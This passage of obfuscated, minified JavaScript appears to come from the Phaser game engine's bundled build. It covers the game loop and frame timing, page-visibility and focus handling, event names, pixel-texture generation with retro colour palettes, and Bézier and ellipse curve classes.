!0x0, this['config']['postBoot'](this), this['renderer'] ? this['loop']['start'](this['step']['bind'](this)) : this['loop']['start'](this['headlessStep']['bind'](this)), _0x5c9a15(this); var _0x2f835f = this['events']; _0x2f835f['on'](_0x1786fa['HIDDEN'], this['onHidden'], this), _0x2f835f['on'](_0x1786fa['VISIBLE'], this['onVisible'], this), _0x2f835f['on'](_0x1786fa['BLUR'], this['onBlur'], this), _0x2f835f['on'](_0x1786fa['FOCUS'], this['onFocus'], this); }, 'step': function (_0x42d637, _0x5b2d26) { if (this['pendingDestroy']) return this['runDestroy'](); if (!this['isPaused']) { var _0x22601b = this['events']; _0x22601b['emit'](_0x1786fa['PRE_STEP'], _0x42d637, _0x5b2d26), _0x22601b['emit'](_0x1786fa['STEP'], _0x42d637, _0x5b2d26), this['scene']['update'](_0x42d637, _0x5b2d26), _0x22601b['emit'](_0x1786fa['POST_STEP'], _0x42d637, _0x5b2d26); var _0x555dad = this['renderer']; _0x555dad['preRender'](), _0x22601b['emit'](_0x1786fa['PRE_RENDER'], _0x555dad, _0x42d637, _0x5b2d26), this['scene']['render'](_0x555dad), _0x555dad['postRender'](), _0x22601b['emit'](_0x1786fa['POST_RENDER'], _0x555dad, _0x42d637, _0x5b2d26); } }, 'headlessStep': function (_0x5b41d0, _0x3b452b) { if (this['pendingDestroy']) return this['runDestroy'](); if (!this['isPaused']) { var _0x4d8f1a = this['events']; _0x4d8f1a['emit'](_0x1786fa['PRE_STEP'], _0x5b41d0, _0x3b452b), _0x4d8f1a['emit'](_0x1786fa['STEP'], _0x5b41d0, _0x3b452b), this['scene']['update'](_0x5b41d0, _0x3b452b), _0x4d8f1a['emit'](_0x1786fa['POST_STEP'], _0x5b41d0, _0x3b452b), this['scene']['isProcessing'] = !0x1, _0x4d8f1a['emit'](_0x1786fa['PRE_RENDER'], null, _0x5b41d0, _0x3b452b), _0x4d8f1a['emit'](_0x1786fa['POST_RENDER'], null, _0x5b41d0, _0x3b452b); } }, 'onHidden': function () { this['loop']['pause'](), this['events']['emit'](_0x1786fa['PAUSE']); }, 'pause': function () { var _0x25eabd = this['isPaused']; this['isPaused'] = !0x0, _0x25eabd || this['events']['emit'](_0x1786fa['PAUSE']); }, 'onVisible': function () { this['loop']['resume'](), this['events']['emit'](_0x1786fa['RESUME'], this['loop']['pauseDuration']); }, 'resume': function () { var _0x1c513f = this['isPaused']; this['isPaused'] = !0x1, _0x1c513f && this['events']['emit'](_0x1786fa['RESUME'], 0x0); }, 'onBlur': function () { this['hasFocus'] = !0x1, this['loop']['blur'](); }, 'onFocus': function () { this['hasFocus'] = !0x0, this['loop']['focus'](); }, 'getFrame': function () { return this['loop']['frame']; }, 'getTime': function () { return this['loop']['now']; }, 'destroy': function (_0x528567, _0x5ca3b2) { void 0x0 === _0x5ca3b2 && (_0x5ca3b2 = !0x1), this['pendingDestroy'] = !0x0, this['removeCanvas'] = _0x528567, this['noReturn'] = _0x5ca3b2; }, 'runDestroy': function () { this['scene']['destroy'](), this['events']['emit'](_0x1786fa['DESTROY']), this['events']['removeAllListeners'](), this['renderer'] && this['renderer']['destroy'](), this['removeCanvas'] && this['canvas'] && (_0x21aa80['remove'](this['canvas']), this['canvas']['parentNode'] && this['canvas']['parentNode']['removeChild'](this['canvas'])), this['domContainer'] && this['domContainer']['parentNode'] && this['domContainer']['parentNode']['removeChild'](this['domContainer']), this['loop']['destroy'](), this['pendingDestroy'] = !0x1; } }); _0x3abdd2['exports'] = _0x563434; }, 0x1016a: (_0x756964, _0x34260e, _0x547382) => { var _0x3e3d39 = _0x547382(0x145db), _0x4f1bea = _0x547382(0x8952), _0x296659 = _0x547382(0x7433), _0x17d167 = _0x547382(0xa854), _0x24f5ee = new _0x3e3d39({ 'initialize': function (_0x43e375, _0x3720c2) { this['game'] = _0x43e375, this['raf'] = new _0x17d167(), this['started'] = !0x1, this['running'] = !0x1, this['minFps'] = _0x4f1bea(_0x3720c2, 'min', 0x5), this['targetFps'] = _0x4f1bea(_0x3720c2, 'target', 0x3c), this['fpsLimit'] = _0x4f1bea(_0x3720c2, 'limit', 0x0), this['hasFpsLimit'] = this['fpsLimit'] > 0x0, this['_limitRate'] = this['hasFpsLimit'] ? 0x3e8 / this['fpsLimit'] : 0x0, this['_min'] = 0x3e8 / this['minFps'], this['_target'] = 0x3e8 / this['targetFps'], this['actualFps'] = this['targetFps'], this['nextFpsUpdate'] = 0x0, this['framesThisSecond'] = 0x0, this['callback'] = _0x296659, this['forceSetTimeOut'] = _0x4f1bea(_0x3720c2, 'forceSetTimeOut', !0x1), this['time'] = 0x0, this['startTime'] = 0x0, this['lastTime'] = 0x0, this['frame'] = 0x0, this['inFocus'] = !0x0, this['pauseDuration'] = 0x0, this['_pauseTime'] = 0x0, this['_coolDown'] = 0x0, this['delta'] = 0x0, this['deltaIndex'] = 0x0, this['deltaHistory'] = [], this['deltaSmoothingMax'] = _0x4f1bea(_0x3720c2, 'deltaHistory', 0xa), this['panicMax'] = _0x4f1bea(_0x3720c2, 'panicMax', 0x78), this['rawDelta'] = 0x0, this['now'] = 0x0, this['smoothStep'] = _0x4f1bea(_0x3720c2, 'smoothStep', !0x0); }, 'blur': function () { this['inFocus'] = !0x1; }, 'focus': function () { this['inFocus'] = !0x0, this['resetDelta'](); }, 'pause': function () { this['_pauseTime'] = window['performance']['now'](); }, 'resume': function () { this['resetDelta'](), this['pauseDuration'] = this['time'] - this['_pauseTime'], this['startTime'] += this['pauseDuration']; }, 'resetDelta': function () { var _0x7d1407 = window['performance']['now'](); this['time'] = _0x7d1407, this['lastTime'] = _0x7d1407, this['nextFpsUpdate'] = _0x7d1407 + 0x3e8, this['framesThisSecond'] = 0x0; for (var _0x535b7d = 0x0; _0x535b7d < this['deltaSmoothingMax']; _0x535b7d++)this['deltaHistory'][_0x535b7d] = Math['min'](this['_target'], this['deltaHistory'][_0x535b7d]); this['delta'] = 0x0, this['deltaIndex'] = 0x0, this['_coolDown'] = this['panicMax']; }, 'start': function (_0x47cb89) { if (this['started']) return this; this['started'] = !0x0, this['running'] = !0x0; for (var _0x3ca5fa = 0x0; _0x3ca5fa < this['deltaSmoothingMax']; _0x3ca5fa++)this['deltaHistory'][_0x3ca5fa] = this['_target']; this['resetDelta'](), this['startTime'] = window['performance']['now'](), this['callback'] = _0x47cb89; var _0x249edb = this['hasFpsLimit'] ? this['stepLimitFPS']['bind'](this) : this['step']['bind'](this); this['raf']['start'](_0x249edb, this['forceSetTimeOut'], this['_target']); }, 'smoothDelta': function (_0x338332) { var _0x33b3a8 = this['deltaIndex'], _0x6ef297 = this['deltaHistory'], _0x5fbb3e = this['deltaSmoothingMax']; (this['_coolDown'] > 0x0 || !this['inFocus']) && (this['_coolDown']--, _0x338332 = Math['min'](_0x338332, this['_target'])), _0x338332 > this['_min'] && (_0x338332 = _0x6ef297[_0x33b3a8], _0x338332 = Math['min'](_0x338332, this['_min'])), _0x6ef297[_0x33b3a8] = _0x338332, this['deltaIndex']++, this['deltaIndex'] >= _0x5fbb3e && (this['deltaIndex'] = 0x0); for (var _0x45b3cf = 0x0, _0x339f5c = 0x0; _0x339f5c < _0x5fbb3e; _0x339f5c++)_0x45b3cf += _0x6ef297[_0x339f5c]; return _0x45b3cf /= _0x5fbb3e; }, 'updateFPS': function (_0xec42e5) { this['actualFps'] = 0.25 * this['framesThisSecond'] + 0.75 * this['actualFps'], this['nextFpsUpdate'] = _0xec42e5 + 0x3e8, this['framesThisSecond'] = 0x0; }, 'stepLimitFPS': function (_0x1573df) { this['now'] = _0x1573df; var _0x183a3e = Math['max'](0x0, _0x1573df - this['lastTime']); this['rawDelta'] = _0x183a3e, this['time'] += this['rawDelta'], this['smoothStep'] && (_0x183a3e = this['smoothDelta'](_0x183a3e)), this['delta'] += _0x183a3e, _0x1573df >= this['nextFpsUpdate'] && this['updateFPS'](_0x1573df), this['framesThisSecond']++, this['delta'] >= this['_limitRate'] && (this['callback'](_0x1573df, this['delta']), this['delta'] = 0x0), this['lastTime'] = _0x1573df, this['frame']++; }, 'step': function (_0x1efe1b) { this['now'] = _0x1efe1b; var _0x21b897 = Math['max'](0x0, _0x1efe1b - this['lastTime']); this['rawDelta'] = _0x21b897, this['time'] += this['rawDelta'], this['smoothStep'] && (_0x21b897 = this['smoothDelta'](_0x21b897)), this['delta'] = _0x21b897, _0x1efe1b >= this['nextFpsUpdate'] && this['updateFPS'](_0x1efe1b), this['framesThisSecond']++, this['callback'](_0x1efe1b, _0x21b897), this['lastTime'] = _0x1efe1b, this['frame']++; }, 'tick': function () { var _0xc0f08e = window['performance']['now'](); this['hasFpsLimit'] ? this['stepLimitFPS'](_0xc0f08e) : this['step'](_0xc0f08e); }, 'sleep': function () { this['running'] && (this['raf']['stop'](), this['running'] = !0x1); }, 'wake': function (_0x49d5f) { void 0x0 === _0x49d5f && (_0x49d5f = !0x1); var _0x1136bd = window['performance']['now'](); if (!this['running']) { _0x49d5f && (this['startTime'] += -this['lastTime'] + (this['lastTime'] + _0x1136bd)); var _0x5c6433 = this['hasFpsLimit'] ? this['stepLimitFPS']['bind'](this) : this['step']['bind'](this); this['raf']['start'](_0x5c6433, this['forceSetTimeOut'], this['_target']), this['running'] = !0x0, this['nextFpsUpdate'] = _0x1136bd + 0x3e8, this['framesThisSecond'] = 0x0, this['fpsLimitTriggered'] = !0x1, this['tick'](); } }, 'getDuration': function () { return Math['round'](this['lastTime'] - this['startTime']) / 0x3e8; }, 'getDurationMS': function () { return Math['round'](this['lastTime'] - this['startTime']); }, 'stop': function () { return this['running'] = !0x1, this['started'] = !0x1, this['raf']['stop'](), this; }, 'destroy': function () { this['stop'](), this['raf']['destroy'](), this['raf'] = null, this['game'] = null, this['callback'] = null; } }); _0x756964['exports'] = _0x24f5ee; }, 0xc78d: (_0x4dc1ad, _0x230f4f, _0x1118fd) => { var _0x1d1994 = _0x1118fd(0x20fb); _0x4dc1ad['exports'] = function (_0x541b85) { var _0x7653a4, _0x31dd22 = _0x541b85['events']; void 0x0 !== document['hidden'] ? _0x7653a4 = 'visibilitychange' : ['webkit', 'moz', 'ms']['forEach'](function (_0x5a081e) { void 0x0 !== document[_0x5a081e + 'Hidden'] && (document['hidden'] = function () { return document[_0x5a081e + 'Hidden']; }, _0x7653a4 = _0x5a081e + 'visibilitychange'); }), _0x7653a4 && document['addEventListener'](_0x7653a4, function (_0x158e36) { document['hidden'] || 'pause' === _0x158e36['type'] ? _0x31dd22['emit'](_0x1d1994['HIDDEN']) : _0x31dd22['emit'](_0x1d1994['VISIBLE']); }, !0x1), window['onblur'] = function () { _0x31dd22['emit'](_0x1d1994['BLUR']); }, window['onfocus'] = function () { _0x31dd22['emit'](_0x1d1994['FOCUS']); }, window['focus'] && _0x541b85['config']['autoFocus'] && window['focus'](); }; }, 0x17bc1: _0x502e28 => { _0x502e28['exports'] = 'blur'; }, 0xb9bc: _0x516aab => { _0x516aab['exports'] = 'boot'; }, 0x4d66: _0x3b2d32 => { _0x3b2d32['exports'] = 'contextlost'; }, 0x10b5e: _0x2aa634 => { _0x2aa634['exports'] = 'destroy'; }, 0xa2e4: _0x3df69b => { _0x3df69b['exports'] = 'focus'; }, 0x6358: _0x526c25 => { _0x526c25['exports'] = 'hidden'; }, 0x10196: _0x5bcd61 => { _0x5bcd61['exports'] = 'pause'; }, 0xe74b: _0x1bd6e2 => { _0x1bd6e2['exports'] = 'postrender'; }, 0xbaad: _0x528387 => { _0x528387['exports'] = 'poststep'; }, 0x989a: _0x31e2d6 => { _0x31e2d6['exports'] = 'prerender'; }, 0x1cc: _0x37a325 => { _0x37a325['exports'] = 'prestep'; }, 0x3f2f: _0x226b8f => { _0x226b8f['exports'] = 'ready'; }, 0xa55b: _0x4a1118 => { _0x4a1118['exports'] = 'resume'; }, 0x2ebe: _0xb69194 => { _0xb69194['exports'] = 'step'; }, 0x80c9: _0x17d28f => { _0x17d28f['exports'] = 'systemready'; }, 0x1726e: _0x386e8a => { _0x386e8a['exports'] = 'visible'; }, 0x20fb: (_0x3a507a, _0x1fe829, _0x182143) => { _0x3a507a['exports'] = { 'BLUR': _0x182143(0x17bc1), 'BOOT': _0x182143(0xb9bc), 'CONTEXT_LOST': _0x182143(0x4d66), 'DESTROY': _0x182143(0x10b5e), 'FOCUS': _0x182143(0xa2e4), 'HIDDEN': _0x182143(0x6358), 'PAUSE': _0x182143(0x10196), 'POST_RENDER': _0x182143(0xe74b), 'POST_STEP': _0x182143(0xbaad), 'PRE_RENDER': _0x182143(0x989a), 'PRE_STEP': _0x182143(0x1cc), 'READY': _0x182143(0x3f2f), 'RESUME': _0x182143(0xa55b), 'STEP': _0x182143(0x2ebe), 'SYSTEM_READY': _0x182143(0x80c9), 'VISIBLE': _0x182143(0x1726e) }; }, 0xa769: (_0x2bef81, _0x328e76, _0x531f13) => { _0x2bef81['exports'] = { 'Config': _0x531f13(0x10fab), 'CreateRenderer': _0x531f13(0x15026), 'DebugHeader': _0x531f13(0x17887), 'Events': _0x531f13(0x20fb), 'TimeStep': _0x531f13(0x1016a), 'VisibilityHandler': _0x531f13(0xc78d) }; }, 0x18500: (_0x1fd067, _0x3ee4c1, _0x1d8609) => { var _0x189b64 = _0x1d8609(0x14aa), _0x24048f = _0x1d8609(0x6d0f), _0xa8087b = _0x1d8609(0x8952); _0x1fd067['exports'] = function (_0x103bce) { var _0x4dea0c = _0xa8087b(_0x103bce, 'data', []), _0xd511e6 = _0xa8087b(_0x103bce, 'canvas', null), _0x59abdb = _0xa8087b(_0x103bce, 'palette', _0x189b64), _0x7f03d9 = _0xa8087b(_0x103bce, 'pixelWidth', 0x1), _0x336688 = _0xa8087b(_0x103bce, 'pixelHeight', _0x7f03d9), _0x46a2d0 = _0xa8087b(_0x103bce, 'resizeCanvas', !0x0), _0x2da873 = _0xa8087b(_0x103bce, 'clearCanvas', !0x0), _0x5da451 = _0xa8087b(_0x103bce, 'preRender', null), _0x5f2226 = _0xa8087b(_0x103bce, 'postRender', null), _0x3fd138 = Math['floor'](Math['abs'](_0x4dea0c[0x0]['length'] * _0x7f03d9)), _0x5cf5d8 = Math['floor'](Math['abs'](_0x4dea0c['length'] * _0x336688)); _0xd511e6 || (_0xd511e6 = _0x24048f['create2D'](this, _0x3fd138, _0x5cf5d8), _0x46a2d0 = !0x1, _0x2da873 = !0x1), _0x46a2d0 && (_0xd511e6['width'] = _0x3fd138, _0xd511e6['height'] = _0x5cf5d8); var _0x5cd81e = _0xd511e6['getContext']('2d', { 'willReadFrequently': !0x0 }); _0x2da873 && _0x5cd81e['clearRect'](0x0, 0x0, _0x3fd138, _0x5cf5d8), _0x5da451 && _0x5da451(_0xd511e6, _0x5cd81e); for (var _0xb5d5cd = 0x0; _0xb5d5cd < _0x4dea0c['length']; _0xb5d5cd++)for (var _0xda967f = _0x4dea0c[_0xb5d5cd], _0x499d44 = 0x0; _0x499d44 < _0xda967f['length']; _0x499d44++) { var _0x3712f9 = _0xda967f[_0x499d44]; '.' !== _0x3712f9 && '\x20' !== _0x3712f9 && (_0x5cd81e['fillStyle'] = _0x59abdb[_0x3712f9], _0x5cd81e['fillRect'](_0x499d44 * _0x7f03d9, _0xb5d5cd * _0x336688, _0x7f03d9, _0x336688)); } return _0x5f2226 && _0x5f2226(_0xd511e6, _0x5cd81e), _0xd511e6; }; }, 0x3dce: (_0x2b0330, _0x573821, _0x60c5ce) => { _0x2b0330['exports'] = { 'GenerateTexture': _0x60c5ce(0x18500), 'Palettes': _0x60c5ce(0xe1a3) }; }, 0x14aa: _0x48a0d6 => { _0x48a0d6['exports'] = { 0x0: '#000', 0x1: '#9D9D9D', 0x2: '#FFF', 0x3: '#BE2633', 0x4: '#E06F8B', 0x5: '#493C2B', 0x6: '#A46422', 0x7: '#EB8931', 0x8: '#F7E26B', 0x9: '#2F484E', 'A': '#44891A', 'B': '#A3CE27', 'C': '#1B2632', 'D': '#005784', 'E': '#31A2F2', 'F': '#B2DCEF' }; }, 0x5d08: _0x25eb81 => { _0x25eb81['exports'] = { 0x0: '#000', 0x1: '#fff', 0x2: '#8b4131', 0x3: '#7bbdc5', 0x4: '#8b41ac', 0x5: '#6aac41', 0x6: '#3931a4', 0x7: '#d5de73', 0x8: '#945a20', 0x9: '#5a4100', 'A': '#bd736a', 'B': '#525252', 'C': '#838383', 'D': '#acee8b', 'E': '#7b73de', 'F': '#acacac' }; }, 0x268a: _0xe2bb13 => { _0xe2bb13['exports'] = { 0x0: '#000', 0x1: '#2234d1', 0x2: '#0c7e45', 0x3: '#44aacc', 0x4: '#8a3622', 0x5: '#5c2e78', 0x6: '#aa5c3d', 0x7: '#b5b5b5', 0x8: '#5e606e', 0x9: '#4c81fb', 'A': '#6cd947', 'B': '#7be2f9', 'C': '#eb8a60', 'D': '#e23d69', 'E': '#ffd93f', 'F': '#fff' }; }, 0x12ef0: _0x51cb7e => { _0x51cb7e['exports'] = { 0x0: '#000', 0x1: '#191028', 0x2: '#46af45', 0x3: '#a1d685', 0x4: '#453e78', 0x5: '#7664fe', 0x6: '#833129', 0x7: '#9ec2e8', 0x8: '#dc534b', 0x9: '#e18d79', 'A': '#d6b97b', 'B': '#e9d8a1', 'C': '#216c4b', 'D': '#d365c8', 'E': '#afaab9', 'F': '#f5f4eb' }; }, 0x16863: _0x3e9b5e => { _0x3e9b5e['exports'] = { 0x0: '#000', 0x1: '#191028', 0x2: '#46af45', 0x3: '#a1d685', 0x4: '#453e78', 0x5: '#7664fe', 0x6: '#833129', 0x7: '#9ec2e8', 0x8: '#dc534b', 0x9: '#e18d79', 'A': '#d6b97b', 'B': '#e9d8a1', 'C': '#216c4b', 'D': '#d365c8', 'E': '#afaab9', 'F': '#fff' }; }, 0xe1a3: (_0x24d1dd, _0x1c45a5, _0x4adb66) => { _0x24d1dd['exports'] = { 'ARNE16': _0x4adb66(0x14aa), 'C64': _0x4adb66(0x5d08), 'CGA': _0x4adb66(0x268a), 'JMP': _0x4adb66(0x12ef0), 'MSX': _0x4adb66(0x16863) }; }, 0xb688: (_0x37babf, _0x4d30e1, _0x1593b8) => { var _0x1fff75 = _0x1593b8(0x145db), _0x5ba834 = _0x1593b8(0x8ddc), _0x3ae8bc = _0x1593b8(0x13895), _0x4d9f94 = _0x1593b8(0x65f3), _0x3c8186 = new _0x1fff75({ 'Extends': _0x3ae8bc, 'initialize': function (_0xe02089, _0x30facd, _0x22708e, _0x33a4cd) { _0x3ae8bc['call'](this, 'CubicBezierCurve'), Array['isArray'](_0xe02089) && (_0x33a4cd = new _0x4d9f94(_0xe02089[0x6], _0xe02089[0x7]), _0x22708e = new _0x4d9f94(_0xe02089[0x4], _0xe02089[0x5]), _0x30facd = new _0x4d9f94(_0xe02089[0x2], _0xe02089[0x3]), _0xe02089 = new _0x4d9f94(_0xe02089[0x0], _0xe02089[0x1])), this['p0'] = _0xe02089, this['p1'] = _0x30facd, this['p2'] = _0x22708e, this['p3'] = _0x33a4cd; }, 'getStartPoint': function (_0x1754d3) { return void 0x0 === _0x1754d3 && (_0x1754d3 = new _0x4d9f94()), _0x1754d3['copy'](this['p0']); }, 'getResolution': function (_0x4b0b68) { return _0x4b0b68; }, 'getPoint': function (_0x3e8dff, _0x3cce95) { void 0x0 === _0x3cce95 && (_0x3cce95 = new _0x4d9f94()); var _0x334a3d = this['p0'], _0x1633be = this['p1'], _0x51bf19 = this['p2'], _0x1b7cc5 = this['p3']; return _0x3cce95['set'](_0x5ba834(_0x3e8dff, _0x334a3d['x'], _0x1633be['x'], _0x51bf19['x'], _0x1b7cc5['x']), _0x5ba834(_0x3e8dff, _0x334a3d['y'], _0x1633be['y'], _0x51bf19['y'], _0x1b7cc5['y'])); }, 'draw': function (_0x31b464, _0x33e213) { void 0x0 === _0x33e213 && (_0x33e213 = 0x20); var _0x5e7209 = this['getPoints'](_0x33e213); _0x31b464['beginPath'](), _0x31b464['moveTo'](this['p0']['x'], this['p0']['y']); for (var _0x4b9859 = 0x1; _0x4b9859 < _0x5e7209['length']; _0x4b9859++)_0x31b464['lineTo'](_0x5e7209[_0x4b9859]['x'], _0x5e7209[_0x4b9859]['y']); return _0x31b464['strokePath'](), _0x31b464; }, 'toJSON': function () { return { 'type': this['type'], 'points': [this['p0']['x'], this['p0']['y'], this['p1']['x'], this['p1']['y'], this['p2']['x'], this['p2']['y'], this['p3']['x'], this['p3']['y']] }; } }); _0x3c8186['fromJSON'] = function (_0x113fd7) { var _0x22697a = _0x113fd7['points'], _0x1c6894 = new _0x4d9f94(_0x22697a[0x0], _0x22697a[0x1]), _0x4a6642 = new _0x4d9f94(_0x22697a[0x2], _0x22697a[0x3]), _0x2d85e1 = new _0x4d9f94(_0x22697a[0x4], _0x22697a[0x5]), _0x67716a = new _0x4d9f94(_0x22697a[0x6], _0x22697a[0x7]); return new _0x3c8186(_0x1c6894, _0x4a6642, _0x2d85e1, _0x67716a); }, _0x37babf['exports'] = _0x3c8186; }, 0x13895: (_0x5cfbb0, _0x302b34, _0x42f84d) => { var _0x1474db = _0x42f84d(0x145db), _0x1733ba = _0x42f84d(0x4b11), _0x4ad7ac = _0x42f84d(0x15721), _0x476e8d = _0x42f84d(0x65f3), _0x3aa655 = new _0x1474db({ 'initialize': function (_0xd45e24) { this['type'] = _0xd45e24, this['defaultDivisions'] = 0x5, this['arcLengthDivisions'] = 0x64, this['cacheArcLengths'] = [], this['needsUpdate'] = !0x0, this['active'] = !0x0, this['_tmpVec2A'] = new _0x476e8d(), this['_tmpVec2B'] = new _0x476e8d(); }, 'draw': function (_0x2a1171, _0x5281ec) { return void 0x0 === _0x5281ec && (_0x5281ec = 0x20), _0x2a1171['strokePoints'](this['getPoints'](_0x5281ec)); }, 'getBounds': function (_0x1e6dba, _0x556f8f) { _0x1e6dba || (_0x1e6dba = new _0x4ad7ac()), void 0x0 === _0x556f8f && (_0x556f8f = 0x10); var _0x28abb3 = this['getLength'](); _0x556f8f > _0x28abb3 && (_0x556f8f = _0x28abb3 / 0x2); var _0x1c2908 = Math['max'](0x1, Math['round'](_0x28abb3 / _0x556f8f)); return _0x1733ba(this['getSpacedPoints'](_0x1c2908), _0x1e6dba); }, 'getDistancePoints': function (_0x3d5412) { var _0x1522bf = this['getLength'](), _0x362c38 = Math['max'](0x1, _0x1522bf / _0x3d5412); return this['getSpacedPoints'](_0x362c38); }, 'getEndPoint': function (_0x5b3a15) { return void 0x0 === _0x5b3a15 && (_0x5b3a15 = new _0x476e8d()), this['getPointAt'](0x1, _0x5b3a15); }, 'getLength': function () { var _0x3c2338 = this['getLengths'](); return _0x3c2338[_0x3c2338['length'] - 0x1]; }, 'getLengths': function (_0x1689a8) { if (void 0x0 === _0x1689a8 && (_0x1689a8 = this['arcLengthDivisions']), this['cacheArcLengths']['length'] === _0x1689a8 + 0x1 && !this['needsUpdate']) return this['cacheArcLengths']; this['needsUpdate'] = !0x1; var _0xc957b3, _0x7fb34b = [], _0x307068 = this['getPoint'](0x0, this['_tmpVec2A']), _0x4ddcdb = 0x0; _0x7fb34b['push'](0x0); for (var _0x52a88b = 0x1; _0x52a88b <= _0x1689a8; _0x52a88b++)_0x4ddcdb += (_0xc957b3 = this['getPoint'](_0x52a88b / _0x1689a8, this['_tmpVec2B']))['distance'](_0x307068), _0x7fb34b['push'](_0x4ddcdb), _0x307068['copy'](_0xc957b3); return this['cacheArcLengths'] = _0x7fb34b, _0x7fb34b; }, 'getPointAt': function (_0xe92056, _0x156212) { var _0x394c2c = this['getUtoTmapping'](_0xe92056); return this['getPoint'](_0x394c2c, _0x156212); }, 'getPoints': function (_0x2a734b, _0x6daeb6, _0x305db8) { void 0x0 === _0x305db8 && (_0x305db8 = []), _0x2a734b || (_0x2a734b = _0x6daeb6 ? this['getLength']() / _0x6daeb6 : this['defaultDivisions']); for (var _0x13e262 = 0x0; _0x13e262 <= _0x2a734b; _0x13e262++)_0x305db8['push'](this['getPoint'](_0x13e262 / _0x2a734b)); return _0x305db8; }, 'getRandomPoint': function (_0x369ea5) { return void 0x0 === _0x369ea5 && (_0x369ea5 = new _0x476e8d()), this['getPoint'](Math['random'](), _0x369ea5); }, 'getSpacedPoints': function (_0x5eceda, _0x235587, _0x2adbeb) { void 0x0 === _0x2adbeb && (_0x2adbeb = []), _0x5eceda || (_0x5eceda = _0x235587 ? this['getLength']() / _0x235587 : this['defaultDivisions']); for (var _0x10ab6f = 0x0; _0x10ab6f <= _0x5eceda; _0x10ab6f++) { var _0x59597a = this['getUtoTmapping'](_0x10ab6f / _0x5eceda, null, _0x5eceda); _0x2adbeb['push'](this['getPoint'](_0x59597a)); } return _0x2adbeb; }, 'getStartPoint': function (_0x29e6af) { return void 0x0 === _0x29e6af && (_0x29e6af = new _0x476e8d()), this['getPointAt'](0x0, _0x29e6af); }, 'getTangent': function (_0x2f6697, _0x162663) { void 0x0 === _0x162663 && (_0x162663 = new _0x476e8d()); var _0x10686b = 0.0001, _0xe43ea2 = _0x2f6697 - _0x10686b, _0x4a4134 = _0x2f6697 + _0x10686b; return _0xe43ea2 < 0x0 && (_0xe43ea2 = 0x0), _0x4a4134 > 0x1 && (_0x4a4134 = 0x1), this['getPoint'](_0xe43ea2, this['_tmpVec2A']), this['getPoint'](_0x4a4134, _0x162663), _0x162663['subtract'](this['_tmpVec2A'])['normalize'](); }, 'getTangentAt': function (_0x3834db, _0x21ba2f) { var _0xa4560f = this['getUtoTmapping'](_0x3834db); return this['getTangent'](_0xa4560f, _0x21ba2f); }, 'getTFromDistance': function (_0x542f94, _0x1e7842) { return _0x542f94 <= 0x0 ? 0x0 : this['getUtoTmapping'](0x0, _0x542f94, _0x1e7842); }, 'getUtoTmapping': function (_0x3f604c, _0x5800cb, _0x344f1d) { var _0x582d27, _0x2206da = this['getLengths'](_0x344f1d), _0x37433f = 0x0, _0x458458 = _0x2206da['length']; _0x582d27 = _0x5800cb ? Math['min'](_0x5800cb, _0x2206da[_0x458458 - 0x1]) : _0x3f604c * _0x2206da[_0x458458 - 0x1]; for (var _0x28bc54, _0x35f92f = 0x0, _0x10ed12 = _0x458458 - 0x1; _0x35f92f <= _0x10ed12;)if ((_0x28bc54 = _0x2206da[_0x37433f = Math['floor'](_0x35f92f + (_0x10ed12 - _0x35f92f) / 0x2)] - _0x582d27) < 0x0) _0x35f92f = _0x37433f + 0x1; else { if (!(_0x28bc54 > 0x0)) { _0x10ed12 = _0x37433f; break; } _0x10ed12 = _0x37433f - 0x1; } if (_0x2206da[_0x37433f = _0x10ed12] === _0x582d27) return _0x37433f / (_0x458458 - 0x1); var _0x560324 = _0x2206da[_0x37433f]; return (_0x37433f + (_0x582d27 - _0x560324) / (_0x2206da[_0x37433f + 0x1] - _0x560324)) / (_0x458458 - 0x1); }, 'updateArcLengths': function () { this['needsUpdate'] = !0x0, this['getLengths'](); } }); _0x5cfbb0['exports'] = _0x3aa655; }, 0x12061: (_0x52bf28, _0x21a5cd, _0x1284be) => { var _0xc4ca4d = _0x1284be(0x145db), _0x4ddcb8 = _0x1284be(0x13895), _0x44ff37 = _0x1284be(0x9a52), _0x38ea05 = _0x1284be(0x8952), _0x579b8c = _0x1284be(0xa984), _0x755338 = _0x1284be(0x65f3), _0x21e474 = new _0xc4ca4d({ 'Extends': _0x4ddcb8, 'initialize': function (_0x81750d, _0x4cea6d, _0x184f44, _0x1d41d6, _0x33d8e3, _0x4ee927, _0x5de41f, _0x546030) { if ('object' == typeof _0x81750d) { var _0x5c5c47 = _0x81750d; _0x81750d = _0x38ea05(_0x5c5c47, 'x', 0x0), _0x4cea6d = _0x38ea05(_0x5c5c47, 'y', 0x0), _0x184f44 = _0x38ea05(_0x5c5c47, 'xRadius', 0x0), _0x1d41d6 = _0x38ea05(_0x5c5c47, 'yRadius', _0x184f44), _0x33d8e3 = _0x38ea05(_0x5c5c47, 'startAngle', 0x0), _0x4ee927 = _0x38ea05(_0x5c5c47, 'endAngle', 0x168), _0x5de41f = _0x38ea05(_0x5c5c47, 'clockwise', !0x1), _0x546030 = _0x38ea05(_0x5c5c47, 'rotation', 0x0); } else void 0x0 === _0x1d41d6 && (_0x1d41d6 = _0x184f44), void 0x0 === _0x33d8e3 && (_0x33d8e3 = 0x0), void 0x0 === _0x4ee927 && (_0x4ee927 = 0x168), void 0x0 === _0x5de41f && (_0x5de41f = !0x1), void 0x0 === _0x546030 && (_0x546030 = 0x0); _0x4ddcb8['call'](this, 'EllipseCurve'), this['p0'] = new _0x755338(_0x81750d, _0x4cea6d), this['_xRadius'] = _0x184f44, this['_yRadius'] = _0x1d41d6, this['_startAngle'] = _0x44ff37(_0x33d8e3), this['_endAngle'] = _0x44ff37(_0x4ee927), this['_clockwise'] = _0x5de41f, this['_rotation'] = _0x44ff37(_0x546030); }, 'getStartPoint': function (_0x8ecb9e) { return void 0x0 === _0x8ecb9e && (_0x8ecb9e = new _0x755338()), this['getPoint'](0x0, _0x8ecb9e); }, 'getResolution': function (_0x27b3e1) { return 0x2 * _0x27b3e1; }, 'getPoint': function (_0x519640, _0x3d0b38) { void 0x0 === _0x3d0b38 && (_0x3d0b38 = new _0x755338()); for (var _0x55cffb = 0x2 * Math['PI'], _0x3d3339 = this['_endAngle'] - this['_startAngle'], _0x54aab6 = Math['abs'](_0x3d3339) < Number['EPSILON']; _0x3d3339 < 0x0;)_0x3d3339 += _0x55cffb; for (; _0x3d3339 > _0x55cffb;)_0x3d3339 -= _0x55cffb; _0x3d3339 < Number['EPSILON'] && (_0x3d3339 = _0x54aab6 ? 0x0 : _0x55cffb), this['_clockwise'] && !_0x54aab6 && (_0x3d3339 === _0x55cffb ? _0x3d3339 = -_0x55cffb : _0x3d3339 -= _0x55cffb); var _0x18a607 = this['_startAngle'] + _0x519640 * _0x3d3339, _0x111f59 = 